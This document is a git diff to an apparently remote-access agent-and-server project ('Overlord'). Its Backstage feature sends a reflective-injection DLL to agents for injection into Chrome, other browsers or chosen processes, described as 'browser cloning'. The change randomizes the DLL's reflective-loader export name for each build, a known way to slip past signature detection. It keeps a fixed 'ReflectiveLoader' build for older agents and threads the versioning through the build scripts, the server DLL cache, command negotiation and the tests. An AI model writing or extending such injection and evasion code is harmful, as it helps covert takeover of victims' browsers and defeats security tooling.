diff --git a/BackstageInjection-Rust/build.rs b/BackstageInjection-Rust/build.rs index c568ce4..c4b30c5 100644 --- a/BackstageInjection-Rust/build.rs +++ b/BackstageInjection-Rust/build.rs @@ -31,16 +31,27 @@ fn main() { } fn generate_loader_entry() { - let seed = SystemTime::now() - .duration_since(UNIX_EPOCH) - .unwrap() - .as_nanos() as u64 - ^ (std::process::id() as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15); - let name = format!("x{:06x}", seed & 0xFFFF_FF); + let name = match std::env::var("BACKSTAGE_LOADER_EXPORT").ok().as_deref() { + Some("ReflectiveLoader") => "ReflectiveLoader".to_string(), + Some(value) => panic!("unsupported BACKSTAGE_LOADER_EXPORT value: {value}"), + None => { + let seed = std::env::var("BACKSTAGE_LOADER_SEED") + .ok() + .and_then(|value| value.parse::().ok()) + .unwrap_or_else(|| { + SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap() + .as_nanos() as u64 + ^ (std::process::id() as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15) + }); + format!("x{:06x}", seed & 0xFFFF_FF) + } + }; let src = format!( "// Generated by build.rs — do not edit.\n\ - // Randomized per-build reflective loader export name.\n\ + // Version-selected reflective loader export name.\n\ pub(crate) const LOADER_EXPORT: &[u8] = b\"{name}\\0\";\n\ \n\ #[unsafe(no_mangle)]\n\ @@ -52,5 +63,6 @@ fn generate_loader_entry() { let out_dir = std::env::var("OUT_DIR").unwrap(); std::fs::write(std::path::Path::new(&out_dir).join("loader_entry.rs"), src) .expect("failed to write loader_entry.rs"); - println!("cargo:rerun-if-changed=loader_entry.rs"); -} \ No newline at end of file + println!("cargo:rerun-if-env-changed=BACKSTAGE_LOADER_EXPORT"); + println!("cargo:rerun-if-env-changed=BACKSTAGE_LOADER_SEED"); +} diff --git a/Overlord-Client/cmd/agent/capture/backstage_inject_windows_test.go b/Overlord-Client/cmd/agent/capture/backstage_inject_windows_test.go index 9a67014..28e68dc 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_inject_windows_test.go +++ b/Overlord-Client/cmd/agent/capture/backstage_inject_windows_test.go @@ -115,6 +115,19 @@ func TestGetProcessesLockingFileShortPathDoesNotPanic(t *testing.T) { _ = getProcessesLockingFile("a") } +func TestIsBackstageLoaderExportSupportsBothCommandVersions(t *testing.T) { + for _, name := range []string{"ReflectiveLoader", "x012abc", "xffffff"} { + if !isBackstageLoaderExport(name) { + t.Fatalf("expected loader export %q to be accepted", name) + } + } + for _, name := range []string{"reflectiveloader", "x012ABc", "x12345", "x1234567", "other"} { + if isBackstageLoaderExport(name) { + t.Fatalf("expected loader export %q to be rejected", name) + } + } +} + func testEnvironmentBlock(t *testing.T, entries ...string) []uint16 { t.Helper() diff --git a/Overlord-Client/cmd/agent/wire/wire_contract_generated.go b/Overlord-Client/cmd/agent/wire/wire_contract_generated.go index 6bb30a5..9b0c67b 100644 --- a/Overlord-Client/cmd/agent/wire/wire_contract_generated.go +++ b/Overlord-Client/cmd/agent/wire/wire_contract_generated.go @@ -456,10 +456,10 @@ var CommandVersionSupport = map[CommandType]CommandVersionRange{ CommandBackstageSetQuality: {Min: 1, Max: 1}, CommandBackstageSetResolution: {Min: 1, Max: 1}, CommandBackstageStart: {Min: 1, Max: 1}, - CommandBackstageStartBrowserInjected: {Min: 1, Max: 1}, - CommandBackstageStartChromeInjected: {Min: 1, Max: 1}, + CommandBackstageStartBrowserInjected: {Min: 1, Max: 2}, + CommandBackstageStartChromeInjected: {Min: 1, Max: 2}, CommandBackstageStartProcess: {Min: 1, Max: 1}, - CommandBackstageStartProcessInjected: {Min: 1, Max: 1}, + CommandBackstageStartProcessInjected: {Min: 1, Max: 2}, CommandBackstageStop: {Min: 1, Max: 1}, CommandBackstageWindowList: {Min: 1, Max: 1}, CommandClientLogsRequest: {Min: 1, Max: 1}, diff --git a/Overlord-Client/cmd/agent/wire/wire_contract_test.go b/Overlord-Client/cmd/agent/wire/wire_contract_test.go index c8bf93f..4b5af9e 100644 --- a/Overlord-Client/cmd/agent/wire/wire_contract_test.go +++ b/Overlord-Client/cmd/agent/wire/wire_contract_test.go @@ -17,14 +17,19 @@ func TestGeneratedWireContract(t *testing.T) { if !ok { t.Fatalf("missing version range for %s", command) } - if versionRange.Min != 1 || versionRange.Max != 1 { + wantMax := 1 + switch command { + case CommandBackstageStartBrowserInjected, CommandBackstageStartChromeInjected, CommandBackstageStartProcessInjected: + wantMax = 2 + } + if versionRange.Min != 1 || versionRange.Max != wantMax { t.Fatalf("unexpected version range for %s: %+v", command, versionRange) } if !IsSupportedCommandVersion(string(command), 1) { t.Fatalf("%s must support v1", command) } - if IsSupportedCommandVersion(string(command), 2) { - t.Fatalf("%s must not support undeclared v2", command) + if IsSupportedCommandVersion(string(command), 2) != (wantMax == 2) { + t.Fatalf("unexpected v2 support for %s", command) } } if !IsCommandType("desktop_start") { diff --git a/Overlord-Server/src/command-compatibility.test.ts b/Overlord-Server/src/command-compatibility.test.ts index 7a0fe7b..e0088b9 100644 --- a/Overlord-Server/src/command-compatibility.test.ts +++ b/Overlord-Server/src/command-compatibility.test.ts @@ -46,6 +46,27 @@ describe("command version negotiation", () => { }); }); + test("keeps legacy Backstage agents on v1 and negotiates v2 with new agents", () => { + const command = "backstage_start_browser_injected" as const; + const payload = { browser: "chrome", dll: new Uint8Array([1, 2, 3]) }; + + expect(versionCommandForClient({}, { + type: "command", + commandType: command, + id: "legacy-backstage", + payload, + })).toMatchObject({ commandVersion: 1, payload }); + + expect(versionCommandForClient({ + commandVersions: { [command]: { min: 1, max: 2 } }, + }, { + type: "command", + commandType: command, + id: "current-backstage", + payload, + })).toMatchObject({ commandVersion: 2, payload }); + }); + test("strictly reports missing commands and non-overlapping versions", () => { expect(getCommandCompatibility( { commandVersions: {} }, diff --git a/Overlord-Server/src/generated/wire-contract.ts b/Overlord-Server/src/generated/wire-contract.ts index 458900c..03d8259 100644 --- a/Overlord-Server/src/generated/wire-contract.ts +++ b/Overlord-Server/src/generated/wire-contract.ts @@ -377,11 +377,11 @@ export const COMMAND_VERSION_SUPPORT = { }, "backstage_start_browser_injected": { "min": 1, - "max": 1 + "max": 2 }, "backstage_start_chrome_injected": { "min": 1, - "max": 1 + "max": 2 }, "backstage_start_process": { "min": 1, @@ -389,7 +389,7 @@ export const COMMAND_VERSION_SUPPORT = { }, "backstage_start_process_injected": { "min": 1, - "max": 1 + "max": 2 }, "backstage_stop": { "min": 1, diff --git a/Overlord-Server/src/protocol-contract.test.ts b/Overlord-Server/src/protocol-contract.test.ts index e0d4772..9854ec7 100644 --- a/Overlord-Server/src/protocol-contract.test.ts +++ b/Overlord-Server/src/protocol-contract.test.ts @@ -26,12 +26,22 @@ describe("generated wire protocol contract", () => { }); test("publishes a version range for every command", () => { + const versionedBackstageCommands = new Set([ + "backstage_start_browser_injected", + "backstage_start_chrome_injected", + "backstage_start_process_injected", + ]); expect(Object.keys(COMMAND_VERSION_SUPPORT).length).toBe(COMMAND_TYPES.length); for (const command of COMMAND_TYPES) { - expect(COMMAND_VERSION_SUPPORT[command]).toEqual({ min: 1, max: 1 }); + const isVersioned = versionedBackstageCommands.has(command); + expect(COMMAND_VERSION_SUPPORT[command]).toEqual({ min: 1, max: isVersioned ? 2 : 1 }); expect(isSupportedCommandVersion(command, 1)).toBe(true); - expect(isSupportedCommandVersion(command, 2)).toBe(false); - expect(getImplicitCommandVersion(command)).toBe(1); + expect(isSupportedCommandVersion(command, 2)).toBe(isVersioned); + if (isVersioned) { + expect(() => getImplicitCommandVersion(command)).toThrow("explicit commandVersion"); + } else { + expect(getImplicitCommandVersion(command)).toBe(1); + } } }); diff --git a/Overlord-Server/src/server/backstage-dll-cache.test.ts b/Overlord-Server/src/server/backstage-dll-cache.test.ts new file mode 100644 index 0000000..3103151 --- /dev/null +++ b/Overlord-Server/src/server/backstage-dll-cache.test.ts @@ -0,0 +1,13 @@ +import { describe, expect, test } from "bun:test"; +import { + BACKSTAGE_DLL_NAME, + BACKSTAGE_LEGACY_DLL_NAME, + injectionDllCandidates, +} from "./backstage-dll-cache"; + +describe("Backstage DLL command-version artifacts", () => { + test("maps v1 to the fixed-export artifact and v2 to the randomized artifact", () => { + expect(injectionDllCandidates(1).every((candidate) => candidate.endsWith(BACKSTAGE_LEGACY_DLL_NAME))).toBe(true); + expect(injectionDllCandidates(2).every((candidate) => candidate.endsWith(BACKSTAGE_DLL_NAME))).toBe(true); + }); +}); diff --git a/Overlord-Server/src/server/backstage-dll-cache.ts b/Overlord-Server/src/server/backstage-dll-cache.ts index 875f029..124aedb 100644 --- a/Overlord-Server/src/server/backstage-dll-cache.ts +++ b/Overlord-Server/src/server/backstage-dll-cache.ts @@ -5,66 +5,71 @@ import { logger } from "../logger"; import { resolveRuntimeRoot } from "./runtime-paths"; export const BACKSTAGE_DLL_NAME = "BackstageInjection.x64.dll"; +export const BACKSTAGE_LEGACY_DLL_NAME = "BackstageInjection.legacy.x64.dll"; // Where a freshly rebuilt BackstageInjection DLL is placed. The data dir is // used so a re-randomized (rebuild) copy survives container restarts and is // preferred over the image-baked dist-clients copy. Overrideable for unusual // deployments. -export function backstageDllOutputPath(): string { +export function backstageDllOutputPath(commandVersion = 2): string { const explicit = process.env.OVERLORD_BACKSTAGE_DLL_PATH?.trim(); - if (explicit) return path.resolve(explicit); - return path.join(ensureDataDir(), "dist-clients", BACKSTAGE_DLL_NAME); + if (explicit) { + const resolved = path.resolve(explicit); + return commandVersion === 1 + ? path.join(path.dirname(resolved), BACKSTAGE_LEGACY_DLL_NAME) + : resolved; + } + const name = commandVersion === 1 ? BACKSTAGE_LEGACY_DLL_NAME : BACKSTAGE_DLL_NAME; + return path.join(ensureDataDir(), "dist-clients", name); } -function builtinDllCandidates(): string[] { +function builtinDllCandidates(commandVersion: number): string[] { const runtimeRoot = resolveRuntimeRoot(); + const name = commandVersion === 1 ? BACKSTAGE_LEGACY_DLL_NAME : BACKSTAGE_DLL_NAME; return [ - path.resolve(runtimeRoot, "dist-clients", BACKSTAGE_DLL_NAME), - path.resolve(process.cwd(), "dist-clients", BACKSTAGE_DLL_NAME), - path.resolve(import.meta.dir, "../../dist-clients/BackstageInjection.x64.dll"), + path.resolve(runtimeRoot, "dist-clients", name), + path.resolve(process.cwd(), "dist-clients", name), + path.resolve(import.meta.dir, "../../dist-clients", name), ]; } -export function injectionDllCandidates(): string[] { +export function injectionDllCandidates(commandVersion = 2): string[] { // Fresh builds land in the data dir first; image-baked dist-clients copies // are the offline fallback. - return [backstageDllOutputPath(), ...builtinDllCandidates()]; + return [backstageDllOutputPath(commandVersion), ...builtinDllCandidates(commandVersion)]; } -let _cachedInjectionDll: Uint8Array | null = null; -let _dllCachePath: string | null = null; -let _dllCacheMtimeMs: number = 0; +type DllCacheEntry = { bytes: Uint8Array; path: string; mtimeMs: number }; +const dllCache = new Map(); export function invalidateBackstageDll(): void { - _cachedInjectionDll = null; - _dllCachePath = null; - _dllCacheMtimeMs = 0; + dllCache.clear(); } -export function getInjectionDllBytes(): Uint8Array | null { - const candidates = injectionDllCandidates(); +export function getInjectionDllBytes(commandVersion = 2): Uint8Array | null { + const artifactVersion = commandVersion === 1 ? 1 : 2; + const candidates = injectionDllCandidates(artifactVersion); + const cached = dllCache.get(artifactVersion); - if (_dllCachePath) { + if (cached) { // If a freshly rebuilt DLL exists in the data dir but the cache points at // an older path, rescan instead of serving stale bytes. - const freshOutput = backstageDllOutputPath(); - if (path.resolve(_dllCachePath) === path.resolve(freshOutput) || !existsSync(freshOutput)) { + const freshOutput = backstageDllOutputPath(artifactVersion); + if (path.resolve(cached.path) === path.resolve(freshOutput) || !existsSync(freshOutput)) { try { - const st = statSync(_dllCachePath); - if (st.mtimeMs === _dllCacheMtimeMs && _cachedInjectionDll) { - return _cachedInjectionDll; + const st = statSync(cached.path); + if (st.mtimeMs === cached.mtimeMs) { + return cached.bytes; } - _cachedInjectionDll = new Uint8Array(readFileSync(_dllCachePath)); - _dllCacheMtimeMs = st.mtimeMs; - logger.info(`[backstage] reloaded injection DLL from ${_dllCachePath} (${_cachedInjectionDll.length} bytes)`); - return _cachedInjectionDll; + const bytes = new Uint8Array(readFileSync(cached.path)); + dllCache.set(artifactVersion, { bytes, path: cached.path, mtimeMs: st.mtimeMs }); + logger.info(`[backstage] reloaded v${artifactVersion} injection DLL from ${cached.path} (${bytes.length} bytes)`); + return bytes; } catch { - _dllCachePath = null; - _cachedInjectionDll = null; + dllCache.delete(artifactVersion); } } else { - _dllCachePath = null; - _cachedInjectionDll = null; + dllCache.delete(artifactVersion); } } @@ -72,16 +77,15 @@ export function getInjectionDllBytes(): Uint8Array | null { if (!existsSync(dllPath)) continue; try { const st = statSync(dllPath); - _cachedInjectionDll = new Uint8Array(readFileSync(dllPath)); - _dllCachePath = dllPath; - _dllCacheMtimeMs = st.mtimeMs; - logger.info(`[backstage] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`); - return _cachedInjectionDll; + const bytes = new Uint8Array(readFileSync(dllPath)); + dllCache.set(artifactVersion, { bytes, path: dllPath, mtimeMs: st.mtimeMs }); + logger.info(`[backstage] loaded v${artifactVersion} injection DLL from ${dllPath} (${bytes.length} bytes)`); + return bytes; } catch { continue; } } - logger.warn(`[backstage] injection DLL not found. Checked: ${candidates.join(", ")}`); + logger.warn(`[backstage] v${artifactVersion} injection DLL not found. Checked: ${candidates.join(", ")}`); return null; -} \ No newline at end of file +} diff --git a/Overlord-Server/src/server/backstage-dll-manager.ts b/Overlord-Server/src/server/backstage-dll-manager.ts index 1f26dad..60196e6 100644 --- a/Overlord-Server/src/server/backstage-dll-manager.ts +++ b/Overlord-Server/src/server/backstage-dll-manager.ts @@ -6,6 +6,7 @@ import { ensureToolchain, getToolchainRoot } from "./toolchain-manager"; import { resolveRuntimeRoot } from "./runtime-paths"; import { BACKSTAGE_DLL_NAME, + BACKSTAGE_LEGACY_DLL_NAME, backstageDllOutputPath, invalidateBackstageDll, } from "./backstage-dll-cache"; @@ -169,7 +170,8 @@ export async function rebuildBackstageDll( _building = true; _lastBuild = { startedAt: Date.now(), finishedAt: null, ok: null, message: "Build started." }; - const outPath = backstageDllOutputPath(); + const outPath = backstageDllOutputPath(2); + const legacyOutPath = backstageDllOutputPath(1); const outDir = path.dirname(outPath); try { @@ -205,19 +207,8 @@ export async function rebuildBackstageDll( fullEnv.PATH = [...binDirs, fullEnv.PATH || ""].filter(Boolean).join(path.delimiter); } Object.assign(fullEnv, env); - - const proc = Bun.spawn( - [ - "cargo", - "build", - "--release", - "--target", - RUST_TARGET, - "--manifest-path", - path.join(crateDir, "Cargo.toml"), - ], - { env: fullEnv, stdout: "pipe", stderr: "pipe" }, - ); + delete fullEnv.BACKSTAGE_LOADER_EXPORT; + delete fullEnv.BACKSTAGE_LOADER_SEED; const streamLines = async (stream: ReadableStream | null) => { if (!stream) return ""; @@ -234,22 +225,37 @@ export async function rebuildBackstageDll( return buf; }; - const [stdoutText, stderrText] = await Promise.all([ - streamLines(proc.stdout), - streamLines(proc.stderr), - ]); - const exitCode = await proc.exited; - - if (exitCode !== 0) { - const detail = stderrText.trim() || stdoutText.trim() || `cargo exit ${exitCode}`; - throw new Error(`cargo build failed (exit ${exitCode}): ${detail}`); - } - const built = path.join(crateDir, "target", RUST_TARGET, "release", "BackstageInjection.dll"); - if (!fs.existsSync(built)) { - throw new Error(`Expected built DLL not found at ${built}`); - } - fs.copyFileSync(built, outPath); + const buildArtifact = async (loaderEnv: Record, destination: string) => { + const proc = Bun.spawn( + [ + "cargo", + "build", + "--release", + "--target", + RUST_TARGET, + "--manifest-path", + path.join(crateDir, "Cargo.toml"), + ], + { env: { ...fullEnv, ...loaderEnv }, stdout: "pipe", stderr: "pipe" }, + ); + const [stdoutText, stderrText] = await Promise.all([ + streamLines(proc.stdout), + streamLines(proc.stderr), + ]); + const exitCode = await proc.exited; + if (exitCode !== 0) { + const detail = stderrText.trim() || stdoutText.trim() || `cargo exit ${exitCode}`; + throw new Error(`cargo build failed (exit ${exitCode}): ${detail}`); + } + if (!fs.existsSync(built)) { + throw new Error(`Expected built DLL not found at ${built}`); + } + fs.copyFileSync(built, destination); + }; + + await buildArtifact({ BACKSTAGE_LOADER_SEED: String(Date.now()) }, outPath); + await buildArtifact({ BACKSTAGE_LOADER_EXPORT: "ReflectiveLoader" }, legacyOutPath); const exportName = readPeExportName(outPath); invalidateBackstageDll(); @@ -258,7 +264,7 @@ export async function rebuildBackstageDll( startedAt: _lastBuild.startedAt, finishedAt: Date.now(), ok: true, - message: `DLL rebuilt at ${outPath} (${fs.statSync(outPath).size} bytes, export: ${exportName ?? "unknown"}).`, + message: `DLLs rebuilt: ${BACKSTAGE_DLL_NAME} (${fs.statSync(outPath).size} bytes, export: ${exportName ?? "unknown"}) and ${BACKSTAGE_LEGACY_DLL_NAME} (${fs.statSync(legacyOutPath).size} bytes, export: ReflectiveLoader).`, }; send({ type: "output", @@ -396,4 +402,4 @@ function readU32(bytes: Uint8Array, offset: number): number { (bytes[offset + 2] << 16) | (bytes[offset + 3] << 24) ); -} \ No newline at end of file +} diff --git a/Overlord-Server/src/server/ws-console-rd-backstage.ts b/Overlord-Server/src/server/ws-console-rd-backstage.ts index 7d5702b..6fa7fa1 100644 --- a/Overlord-Server/src/server/ws-console-rd-backstage.ts +++ b/Overlord-Server/src/server/ws-console-rd-backstage.ts @@ -5,6 +5,8 @@ import { logger } from "../logger"; import { negotiateDesktopCodec } from "./desktop-codec-negotiation"; import { metrics } from "../metrics"; import { encodeMessage } from "../protocol"; +import { requireCommandVersion, versionCommandForClient } from "../command-compatibility"; +import type { CommandType } from "../generated/wire-contract"; import { getInjectionDllBytes } from "./backstage-dll-cache"; import * as sessionManager from "../sessions/sessionManager"; import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types"; @@ -32,6 +34,19 @@ import { stopRemoteDesktopRecording, } from "./rd-recording"; +function getVersionedInjectionDll( + target: ClientInfo | undefined, + commandType: CommandType, +): Uint8Array | null { + if (!target) return null; + try { + return getInjectionDllBytes(requireCommandVersion(target, commandType)); + } catch (error) { + logger.warn(`[backstage] cannot negotiate ${commandType}: ${error instanceof Error ? error.message : String(error)}`); + return null; + } +} + const VIEWER_BACKPRESSURE_BYTES = Math.max( 64 * 1024, Number(process.env.OVERLORD_MEDIA_VIEWER_BACKPRESSURE_BYTES || 512 * 1024), @@ -1343,7 +1358,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket, ra sendbackstageCommand(target, "backstage_kill_all", {}); break; case "backstage_start_process_injected": { - const dllData = getInjectionDllBytes(); + const dllData = getVersionedInjectionDll(target, "backstage_start_process_injected"); if (!dllData) { logger.warn("[backstage] injection DLL not available, cannot send backstage_start_process_injected"); safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true }); @@ -1361,7 +1376,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket, ra break; } case "backstage_start_chrome_injected": { - const dllData = getInjectionDllBytes(); + const dllData = getVersionedInjectionDll(target, "backstage_start_chrome_injected"); if (!dllData) { logger.warn("[backstage] injection DLL not available, cannot send backstage_start_chrome_injected"); safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true }); @@ -1377,7 +1392,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket, ra break; } case "backstage_start_browser_injected": { - const dllData = getInjectionDllBytes(); + const dllData = getVersionedInjectionDll(target, "backstage_start_browser_injected"); if (!dllData) { logger.warn("[backstage] injection DLL not available, cannot send backstage_start_browser_injected"); safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true }); @@ -1439,7 +1454,13 @@ export function sendbackstageCommand(target: ClientInfo | undefined, commandType } try { logger.debug(`[backstage] send command command=${commandType} client=${target.id} payload=${JSON.stringify(payload || {})}`); - target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, id: uuidv4(), payload })); + const command = versionCommandForClient(target, { + type: "command", + commandType: commandType as CommandType, + id: uuidv4(), + payload, + }); + target.ws.send(encodeMessage(command)); metrics.recordCommand(commandType); return true; } catch (err) { diff --git a/protocol/wire-contract.json b/protocol/wire-contract.json index ca26ad2..d005065 100644 --- a/protocol/wire-contract.json +++ b/protocol/wire-contract.json @@ -6,7 +6,38 @@ "compatibility": "additive", "commandVersioning": { "defaultVersion": 1, - "overrides": {} + "overrides": { + "backstage_start_browser_injected": { + "latestVersion": 2, + "changes": { + "2": { + "breaking": true, + "summary": "Use a Backstage injection DLL with a randomized reflective-loader export", + "migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits" + } + } + }, + "backstage_start_chrome_injected": { + "latestVersion": 2, + "changes": { + "2": { + "breaking": true, + "summary": "Use a Backstage injection DLL with a randomized reflective-loader export", + "migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits" + } + } + }, + "backstage_start_process_injected": { + "latestVersion": 2, + "changes": { + "2": { + "breaking": true, + "summary": "Use a Backstage injection DLL with a randomized reflective-loader export", + "migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits" + } + } + } + } }, "serverToAgentMessageTypes": [ "enrollment_challenge", diff --git a/scripts/build-backstage-dll.bat b/scripts/build-backstage-dll.bat index 5dd504b..4470f22 100644 --- a/scripts/build-backstage-dll.bat +++ b/scripts/build-backstage-dll.bat @@ -13,6 +13,7 @@ set "CRATE_DIR=%ROOT%BackstageInjection-Rust" set "OUT_DIR=%ROOT%Overlord-Server\dist-clients" set "TARGET=x86_64-pc-windows-gnu" set "DLL_NAME=BackstageInjection.x64.dll" +set "LEGACY_DLL_NAME=BackstageInjection.legacy.x64.dll" where cargo >nul 2>&1 if %ERRORLEVEL% neq 0 ( @@ -22,7 +23,9 @@ if %ERRORLEVEL% neq 0 ( if not exist "%OUT_DIR%" mkdir "%OUT_DIR%" -echo Building BackstageInjection DLL for %TARGET% ... +echo Building randomized BackstageInjection DLL for %TARGET% ... +set "BACKSTAGE_LOADER_EXPORT=" +set "BACKSTAGE_LOADER_SEED=%RANDOM%%RANDOM%%RANDOM%" cargo build --release --target %TARGET% --manifest-path "%CRATE_DIR%\Cargo.toml" if %ERRORLEVEL% neq 0 goto :error @@ -32,11 +35,20 @@ if not exist "%SRC_DLL%" goto :error copy /y "%SRC_DLL%" "%OUT_DIR%\%DLL_NAME%" >nul if %ERRORLEVEL% neq 0 goto :error +echo Building legacy BackstageInjection DLL for %TARGET% ... +set "BACKSTAGE_LOADER_SEED=" +set "BACKSTAGE_LOADER_EXPORT=ReflectiveLoader" +cargo build --release --target %TARGET% --manifest-path "%CRATE_DIR%\Cargo.toml" +if %ERRORLEVEL% neq 0 goto :error +copy /y "%SRC_DLL%" "%OUT_DIR%\%LEGACY_DLL_NAME%" >nul +if %ERRORLEVEL% neq 0 goto :error + echo. echo Built: %OUT_DIR%\%DLL_NAME% +echo Built: %OUT_DIR%\%LEGACY_DLL_NAME% exit /b 0 :error echo. echo BUILD FAILED -exit /b 1 \ No newline at end of file +exit /b 1 diff --git a/scripts/build-backstage-dll.sh b/scripts/build-backstage-dll.sh index 445b683..b430a71 100644 --- a/scripts/build-backstage-dll.sh +++ b/scripts/build-backstage-dll.sh @@ -16,6 +16,7 @@ CRATE_DIR="${BACKSTAGE_CRATE_DIR:-BackstageInjection-Rust}" OUT_DIR="${BACKSTAGE_OUT_DIR:-Overlord-Server/dist-clients}" TARGET="x86_64-pc-windows-gnu" DLL_NAME="BackstageInjection.x64.dll" +LEGACY_DLL_NAME="BackstageInjection.legacy.x64.dll" if ! command -v cargo >/dev/null 2>&1; then echo "ERROR: cargo not found. Install a Rust toolchain (rustup)." @@ -36,8 +37,9 @@ fi mkdir -p "$OUT_DIR" -echo "Building Rust BackstageInjection DLL ($TARGET) ..." -cargo build --release --target "$TARGET" --manifest-path "$CRATE_DIR/Cargo.toml" +echo "Building randomized Rust BackstageInjection DLL ($TARGET) ..." +env -u BACKSTAGE_LOADER_EXPORT BACKSTAGE_LOADER_SEED="${BACKSTAGE_FRESH:-$(date +%s%N)}" \ + cargo build --release --target "$TARGET" --manifest-path "$CRATE_DIR/Cargo.toml" SRC_DLL="$CRATE_DIR/target/$TARGET/release/BackstageInjection.dll" if [ ! -f "$SRC_DLL" ]; then @@ -49,4 +51,11 @@ cp -f "$SRC_DLL" "$OUT_DIR/$DLL_NAME" echo "Built: $OUT_DIR/$DLL_NAME" ls -la "$OUT_DIR/$DLL_NAME" -echo "Done." \ No newline at end of file +echo "Building legacy Rust BackstageInjection DLL ($TARGET) ..." +BACKSTAGE_LOADER_EXPORT=ReflectiveLoader \ + cargo build --release --target "$TARGET" --manifest-path "$CRATE_DIR/Cargo.toml" +cp -f "$SRC_DLL" "$OUT_DIR/$LEGACY_DLL_NAME" +echo "Built: $OUT_DIR/$LEGACY_DLL_NAME" +ls -la "$OUT_DIR/$LEGACY_DLL_NAME" + +echo "Done."